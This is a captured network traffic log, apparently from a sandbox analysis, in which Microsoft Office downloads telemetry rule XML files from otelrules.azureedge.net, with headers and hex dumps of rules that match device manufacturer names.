2024-11-11 18:17:44 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:44 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 5fec14be-a01e-0021-75d5-33814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181744Z-174f7845968n2hr8hC1EWR9cag00000004vg00000000q562 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:44 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:44 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5eaa081d-f01e-0099-68d5-339171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181744Z-174f7845968j9dchhC1EWRfe74000000051g00000000rwuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:44 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 186f8a49-401e-005b-46d5-339c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181744Z-174f78459685m244hC1EWRgp2c000000054g00000000bz2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:44 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:44 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 072c0228-901e-00ac-3ad5-33b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181744Z-174f7845968j6t2phC1EWRcfe800000005hg000000001ycf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:44 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:45 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:45 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8377dffe-c01e-00a1-6ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181745Z-174f7845968frfdmhC1EWRxxbw00000005b000000000dwar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:45 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:45 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:45 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a7e44230-001e-0082-7dd5-335880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181745Z-174f7845968jrjrxhC1EWRmmrs00000005fg000000007d57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:45 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:45 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:45 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 642c93e8-001e-0014-7cd5-335151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181745Z-174f7845968nnm4mhC1EWR1rn4000000055000000000su0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:45 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:45 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 1815e533-001e-0028-01d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181745Z-174f78459685m244hC1EWRgp2c000000052000000000q1au x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:45 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:45 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 31c5dea7-101e-008d-51d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181745Z-174f78459685m244hC1EWRgp2c000000054000000000ez8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:46 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:46 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:46 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c8358df5-201e-005d-53d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181746Z-174f78459684bddphC1EWRbht40000000540000000001xhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:47 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:47 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 63eb2845-501e-00a3-1dd5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181747Z-174f7845968nxc96hC1EWRspw8000000051g00000000bzdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:47 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:47 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:47 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 22e15e04-b01e-0070-3ed5-331cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181747Z-174f7845968frfdmhC1EWRxxbw00000005eg000000000qwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:47 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49776	13.107.246.45	443

